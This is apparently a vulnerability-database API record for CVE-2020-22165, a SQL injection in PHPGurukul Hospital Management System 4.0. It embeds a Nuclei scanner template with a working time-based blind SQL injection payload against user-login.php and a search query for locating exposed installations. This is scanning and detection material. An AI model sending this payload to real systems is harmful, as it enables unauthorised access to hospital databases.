{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2020-22165/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2020-22165/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2020-22165/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2020-22165/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2020-22165/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2020-22165"},"sightings":{"href":"/api/v1/sightings/cve-2020-22165"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2020/CVE-2020-22165.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2020-22165\n\ninfo:\n  name: PHPGurukul Hospital Management System 4.0 - SQL Injection\n  author: ritikchaddha\n  severity: high\n  description: |\n    PHPGurukul Hospital Management System in PHP v4.0 has a SQL injection vulnerability in \\hms\\user-login.php. Remote unauthenticated users can exploit the vulnerability to obtain sensitive database information.\n  impact: |\n    Successful exploitation allows attackers to access sensitive data from the database, potentially leading to data leakage and further compromise of the application.\n  remediation: |\n    Upgrade to the latest version or apply proper input sanitization and parameterized queries to mitigate this vulnerability.\n  reference:\n    - https://github.com/itodaro/PHPGurukul_Hospital_Management_System4.0_cve\n    - https://nvd.nist.gov/vuln/detail/CVE-2020-22165\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2020-22165\n    epss-score: 0.06348\n    epss-percentile: 0.93335\n    cwe-id: CWE-89\n    cpe: cpe:2.3:a:phpgurukul:hospital_management_system:4.0:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: phpgurukul\n    product: hospital_management_system\n    fofa-query: title=\"Hospital Management System\" && body=\"HMS\"\n  tags: cve2020,cve,hms,cms,sqli,phpgurukul,vkev,vuln\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        @timeout: 30s\n        POST /hms/user-login.php HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"Hospital Management\")'\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        @timeout: 30s\n        POST /hms/user-login.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        username=a' and 1=2 union select 1,2,if(substring((select user() limit 0,1),1,1)='r',sleep(8),1),4,5,6,7,8,9#&password=asfsafafsafsaf&submit=1&submit=\n\n    stop-at-first-match: true\n    matchers:\n      - type: dsl\n        dsl:\n          - 'duration>=8'\n          - 'status_code == 200'\n        condition: and\n# digest: 4b0a004830460221008555b90aafb219cab848736c9c5f13e109186171e637d97d0a58216e152b373c02210082b965d7d56456e8a028b733d4a7354eccc445975af2ecc0fc3857e632dffb27:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2020-22165"}